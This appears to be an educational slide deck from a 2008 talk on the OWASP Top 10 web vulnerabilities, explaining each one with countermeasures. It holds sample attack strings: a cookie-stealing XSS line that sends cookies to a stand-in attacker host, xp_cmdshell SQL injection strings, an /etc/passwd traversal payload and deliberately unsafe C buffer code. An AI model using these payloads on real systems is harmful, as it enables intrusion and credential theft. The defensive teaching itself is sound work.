Date post: | 06-May-2015 |
Category: |
Technology |
Upload: | abhijitapatil |
View: | 5,260 times |
Download: | 4 times |
Pune, IndiaJanuary 2008
SANS @RISKDecember 2007
3Dec
10Dec
17Dec
24Dec
31Dec
Total
Microsoft Products 2 3 12 0 2 19
Mac 2 2 2 4 0 10
Linux 10 5 8 11 0 34
Unix, Solaris, etc 5 3 3 4 1 16
Network Device 1 3 1 1 1 7
Others ( various ) 31 33 30 37 16 147
Web Applications 70 34 52 35 52 243
“ The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software.
Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks.
Everyone is free to participate in OWASP and all of our materials are available under an open source license… ”
U.S. Federal Trade Commission U.S. Defense Information Systems Agency U.S. DOD Information Technology Security
Certification and Accreditation (C&A) Process (DITSCAP)
Payment Card Industry (PCI) standard & some of the leading corporations around
the globe …
Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application.
Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets.
Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service.
Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks.
A1 – Cross Site Scripting (XSS) ......................................................................................................................................
A2 – Injection Flaws ......................................................................................................................................
A3 – Malicious File Execution ......................................................................................................................................
A4 – Insecure Direct Object Reference ......................................................................................................................................
A5 – Cross Site Request Forgery (CSRF) ......................................................................................................................................
A6 – Information Leakage and Improper Error Handling ......................................................................................................................................
A7 – Broken Authentication and Session Management ......................................................................................................................................
A8 – Insecure Cryptographic Storage ......................................................................................................................................
A9 – Insecure Communications ......................................................................................................................................
A10 – Failure to Restrict URL Access ......................................................................................................................................
OWASP Top 10 2004
Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space.
It is well known vulnerability
Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code.
Common software security flaw
Commonly affect C and C++
Google for buffer overflows.
int main(int argc, void ** argv[]){
char buff[64]; strcpy(buff,argv[1]); return 0;
}
What will happen if we pass 100 character long string as a argument ????
No Boundary Check
Buffer 1
Return address
Other data
--------------
--------------
--------------
--------------
\x90\x90\x90\x90
\x90\x90\x90\x90
\x90\x90\x90\x90
\x90\x90\x90\x90
\x90\x90\x90\x90
Return Address
Filled Buffer with NOP’s and Shellcode
Shellcode
Occurs when too much data is written into the allocated heap area.
Generally allocated by malloc().
Snippest: #define BUFSIZE 256
int main(int argc, char **argv) {
char *buf; buf = (char *)malloc(BUFSIZE); strcpy(buf, argv[1]);
}
It occurs when user supplied input data is processed as a command by an application.
The application doesn’t validate user supplied data.
The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc.
Format String parameters : %d, %c, %d, %n, %s etc
When passed these arguments may,-- read values from the stack
-- write values on the stack-- execute arbitrary code
Example: printf (Input Data);
Old EIP over-write method
New techniques are evolved
Structured Exception Handler Over-write
Heap Spray
Heap Feng Shui
Not a part of this presentation
Demo : Heap Spray
Avoid using functions such as strcpy (), strcat (), sprintf () and vsprintf () which perform no bounds checking.
Always check the bounds of an array before writing it to a buffer.
Validate user supplied data for format string parameters
Use automated tools like fuzzers to test bo’s
Manual code review – Best one, needs good efforts from Reviewer
Follow OWASP guidelines www.owasp.org
Exploit Demo using Heap Spray
The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated.
Very simple and Dangerous attack
Got popular in recent times
Performs GET/POST request of attacker’s choice on behalf of logged in user
Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc
It’s just one-click attack (According to MS)
Malicious request can be embedded in <img>, <href>, <iframe> tags
Website has a trust in user
Browser will automatically parse the request based on user session cookies
Example. Gmail flaw lets anyone to read the friend’s list
<a href="http://googlified.com.googlepages.com/contactlist.htm">
Stored CSRF / Persistent - Example: Simply store it in <img> tag
Reflected / Non – Persistent - Example: Send a malicious link
www.bank.com Victim
Attacker
Logging Request
Auth Cookies
Legitimate Requests
Sends an email containing malicious href tag.
Click Here
Transfer Money
<a href= http://www.bank.com/transfer.php?acc=attacker&amount=$10000>
1
2
3
45
6
7
` `
`
User logs into bank.com using user-id and password.
The Bank.com sends cookies to the user if he is valid one for later authentication.
User performs other request like balance enquiry etc.
While user is online, he receives an email saying you have own $1,00,000.
Innocent user clicks on the link without any concern.
The link contains malicious fund transfer request.
The request is sent to the bank.com by the browser treating it is a valid one.
The money gets transferred to the attacker.
Use security tokens or security key for every request URL and form posting
Use POST request instead of GET
Referrer header field check
Manual testing for CSRF
Re-authenticate the user for critical operations
Log off before visiting unknown domains
Use POST request instead of GET Alone it is not sufficient, can be done using XmlHttpRequest using javascript
Referrer header field check Can be spoofed
Best is to use random tokens/keys for every request
ViewStateUserKey :Assigns an identifier to an individual user in the view state variable associated with the current page
ASP. net property that helps you to prevent CSRF attacks
Set this property to user-id or session id
Wiki Website
XSS allow script to be executed at client side.
Website allows a user to inject arbitrary HTML Code
Exists due to bad input validation
Forces a website to echo attacker’s supplied code
Compromises trust between user and website
May steal cookies, redirect you to another location
Different from CSRF (cross site request forgery)
Very known old bug
Can be used for phishing
Simple XSS :- <script> alert (‘XSS’) </script>
Attack : http://test.com/test.php?var=<script>alert(‘XSS’)</script>;
Attack: <a href=http://test.com/test.php?
var=<script>alert(‘XSS’)</script>;></a>
Attack:<script>document.location=“http://attacker/
steal_cookies.php?cookies=“+document.cookie</script>
Reflected XSS / Persistent
Stored XSS / Non – Persistent
DOM Based XSS
Easiest to exploit
Immediate response to HTTP request
Page directly reflect user supplied data back to user
Typically search engine results, error messages
May reach you from email messages
Reflected XSSReflected XSS
BID - 21534BID - 21534
Stores XSS in a database or file
Stored permanently
Very dangerous for blogs, forums
Large number of victim gets affected while accessing stored XSS
Eg. Samy Worm -- MySpace WormJS-Yamanner – Yahoo Worm
Don’t send the malicious data to the server in the first place
Insecure object reference and use of DOM objects that are not fully controlled by the server provided page
Objects: location, URL, referrer etc
Example: document.location + $username
www.bank.comVictim
Attacker
Logging Request
Auth Cookies
Legitimate Requests
Click Here
Stolen Cookies
1
2
3
45
6
7
Sends malicious request <script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>
` `
`
Powerful language
Attacker can manipulate the webpage
Can add new elements or change the look of the page
Mostly used in XSS attack
XSS can be carried out using VBScript, Activex, Flash etc
HTML injection plus XSS
Attacker used <embed> tag and Flash
Orkut application failed to parse user supplied data
Affected 7,00,000 accounts in 24 hours
The worm only forces victim to join attacker’s own community.
Attacker can have done even worse !!!
• Application copied all the data after wmode
• The code gets converted into javascript and flash object
• Attacker successfully inserted other script which will run his malicious code
• Orkut has patched this bug
Validate or encode all input parameters
Output Encoding
Output Encoding - Microsoft AntiXSS Library
Filter every parameter of the request including header fields mainly <, >
Check for length, type, syntax…..
Use automated tools for finding XSS – Microsoft XSS Detect
Use NoScript plug-in for firefox
Disable Javascript if possible
Don’t trust on suspicious emails
Don’t visit untrusted websites
Injection FlawsInjection Flaws
SQL Injection The ability to inject SQL commands into the database
engine through an existing application.
How common it is? It is probably the most common Web application
vulnerability. It is a flaw in "web application" development, it is not
a DB or web server problem.◦ Most programmers are still not aware of this problem.◦ A lot of the tutorials & demo “templates” are vulnerable.◦ Even worse, a lot of solutions posted on the Internet are
not good enough.
Almost all SQL databases and programming languages are potentially vulnerable◦ MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS
Access, Sybase, Informix, etc
Accessed through applications developed using:◦ Perl and CGI scripts that access databases ◦ ASP, JSP, PHP◦ XML, XSL and XSQL ◦ Javascript ◦ VB, MFC, and other ODBC-based tools and APIs ◦ DB specific Web-based applications and API’s ◦ Reports and DB Applications ◦ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)◦ many more
Extracting data from Metadata OS Interaction
◦ '; exec master..xp_servicecontrol 'start','FTP Publishing' –
Assessing Network Connectivity◦ '; exec master..xp_cmdshell 'ping MyIP' --
◦ How does an attacker detect SQL Injection vulnerabilities on a web page? SQL Error messages
Breaks the query syntax and looks for error messages. SQL Disclosure
Injects variations of OR 1=1 and looks for Table growth. Union injection approach.
Blind SQL Injection Injects True injection string ‘OR 1=1 and False Injection strings ‘AND
1=0 Compare original response, true response and false response.
SQL Injection Time delay Targets the Insert, Update, Delete queries vulnerable to SQL Injection. Causes delay in execution of the query and obtains delay time. Compare default time and delay time to determine the vulnerability. Note: Time delay SQL clauses are database specific.
◦ SQL Error Messages◦ Try to break syntax of SQL query
Injection Strings: \‘ 1) ')); Detection Strings: java.sql.SQLException Internal Servlet Error: MySQL Error : Oracle SQL invalidation Sybase/MSSQL SQL invalidation error in your SQL syntax ODBC Microsoft Access Driver] Syntax error
◦ Blind SQL Injection ◦ Determine if a page is vulnerable based on responses to
TRUE/FALSE queries◦ Base query
select * from table where col1 = ‘x’; Store response R0
◦ TRUE query Inject: ‘ OR 1=1; -- Injected query: select * from table where col1 = ‘x’ OR 1=1 ;-- Store response R1
◦ FALSE query Inject: ‘ AND 1=0; -- Injected query: select * from table where col1 = ‘x’ AND 1=0; -- Store response R2
◦ If (R0 is identical with R1/R0 is identical with R2) and R1 differs from R2, page is vulnerable to exploitation via Blind SQL injection technique
◦ SQL Injection – Time delay ◦ Determine if a page is vulnerable based on
default response time and delayed◦ response time.
◦ Default response time Obtain the default response time per field by breaking the
query - defaultTimeUsed.◦ Delayed response time
Inject “; waitfor delay ’00:00:15’” in the application query for every field.
Obtain the delayed response time - actualTime.◦ If actualTime > defaultTimeUsed + timeSpread -
500, page is vulnerable to SQL injection. (500 ms discrepancy allowed.)
◦ How to prevent SQL Injection?
◦ Development phase Input validation Parametrized queries
◦ QA phase Source code auditing Hack your own web application
◦ Production phase Web application firewall (Intrusion Detection System)
◦ Sample secure code
◦ Input validation◦ if (<validating_condition>)◦ String sqlQuery = “SELECT * FROM users WHERE
userid = ‘” + username + ‘”;◦ else◦ throw new IllegalArgumentException();
if (<validating_condition>) could be a simple length check, such as:
if (username.length() < MAX_POSSIBLE_LENGTH) if ( username.matches(“[0-9a-zA-Z’]*”) ) if ( username.matches(“\b[A-Z0-9._%-]+@[A-Z0-9.-]
+\.[A-Z]{2,4}\b”) )
◦ Sample secure code
◦ Prepared statement String username = httpRequest.getParameter(“username”);
String query = “SELECT * FROM users WHERE userid = ?”;
PreparedStatement stmt = db_conn.prepareStatement(query); stmt.setString(1, username); ResultSet results = stmt.executeQuery();
◦ SQL Injection is one of the most dangerous attack in the Web application security world.
◦ An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically.
◦ Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase.
OWASP Definition:Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise.
Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.
A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include:
Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software)
Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled
Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file
Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
Do not allow user input to be used for any part of a file or path name.
Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value.
File uploads have to be done VERY carefully.◦ Only allow uploads to a path outside of the webroot so it
can not be executed◦ Validate the file name provided so that a directory path is
not included.◦ Implement or enable sandbox or chroot controls which
limit the applications access to files.
Insecure Direct Object Insecure Direct Object Reference Reference
OWASP Definition:A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.
Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable.
For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources.
<select name="language"><option value="fr"> Français </option> </select> … require_once ($_REQUEST['language’]."lang.php");
Such code can be attacked using a string like "../../../../etc/passwd%00" using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system
Avoid exposing private object references to users whenever possible, such as primary keys or filenames
Validate any private object references extensively with an "accept known good" approach
Verify authorization to all referenced objects
OWASP Definition:Applications can unintentionally leak information
about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.
Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this:
Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information
Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes
Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.)
Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input.
Provide short error messages to the user while logging detailed error information to an internal log file.Diagnostic information is available to site maintainersVague messages indicating an internal failure provided to
the users Provide just enough information to allow what is reported
by the user to be able to linked the internal error logs. For example: System Time-stamp, client IP address, and URL
Ensure sensitive responses with multiple outcomes return identical results
Save the different responses and diff the html, the http headers & URL.
Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker.
OWASP Definition:Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.
HTTP/s Protocol does not provide tracking of a users session. Session tracking answers the question:
◦After a user authenticates how does the server associate subsequent requests to the authenticated user?
Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly.
Often developers will make the mistake of inventing their own session tracking.
Cookie Cruncher
Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update.
Session ID is disclosed or is guessed. An attacker using the same session ID has the same privileges as
the real user. Especially useful to an attacker if the session is privileged. Allows initial access to the Web application to be combined with
other attacks.
Use long complex random session ID that cannot be guessed. Protect the transmission and storage of the Session ID to prevent
disclosure and hijacking. A URL query string should not be used for Session ID or any
User/Session information◦URL is stored in browser cache ◦Logged via Web proxies and stored in the proxy cache
Example:https://www.example.net/servlet/login?userid=ralph&password=dumb
Password Change Controls - require users to provide both old and new passwords
Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address.
Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case.
Password Expiration - Users must change passwords every 90 days, and administrators every 30 days.
Password Storage - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form.
Protecting Credentials in Transit - to prevent "man-in-the-middle" attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1
Man-in-the-middle attacks - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates.
Replay attacks - Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed.
GET www.abc.comlogin.asp
homepage.asp
login.asp
www.abc.com/login.asp
POST username + password
www.abc.com/homepage.asp
homepage.asp
logoff
Client Server
GET www.abc.comlogin.asp
authenticate.asp
login.asp
www.abc.com/login.asp
POST username + password
Redirect : www.abc.com/homepage.asp
Redirect request
logoff
homepage.aspGET www.abc.com/homepage.asp
www.abc.com/homepage.asp
homepage.asp
Client Server
OWASP Definition:
Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
Preventing cryptographic flaws takes careful planning. The most common problems are:
Not encrypting sensitive data
Using home grown algorithms
Insecure use of strong algorithms
Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…)
Hard coding keys, and storing keys in unprotected stores
Improper/insecure storage of passwords, certifications, and keys
Poor choice of algorithm
Poor source of randomness for initialization vectors
Attempting to develop a new encryption scheme "in house” (Always a BAD idea)
Failure to provide functionality to change encryption keys
1] SQL credentials 2] x = input(); y=f(x);
Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing.
Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better
Generate keys offline and store private keys with extreme care.
Never transmit private keys over insecure channels Ensure that infrastructure credentials such as database
credentials or MQ queue access details are properly secured.
Ensure that encrypted data stored on disk is not easy to decrypt.
OWASP Definition:Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.
Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted.
Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request.
Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important.
Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information
Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data
Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards.
OWASP Definition:Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.
The primary attack method for this vulnerability is called "forced browsing", which encompasses guessing links and brute force techniques to find unprotected pages.
Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike.
This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed. .
Ensure the access control matrix is part of the business, architecture, and design of the application
Ensure that all URLs and business functions are protected by an effective access control mechanism
Perform a penetration test
Pay close attention to include/library files
Do not assume that users will be unaware of special or hidden URLs or APIs.
Block access to all file types that your application should never serve.
Keep up to date with virus protection and patches
OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update ( www.owasp.org )
Microsoft :: Improving Web Application Security : Threats and Countermeasures
(http://www.microsoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en)
SANS @Risk ( www.sans.org )
SPI Dynamics ( http://spidynamics.com/index.html )
FoundStone HacMe resources ( http://www.foundstone.com/us/resources-free-tools.asp )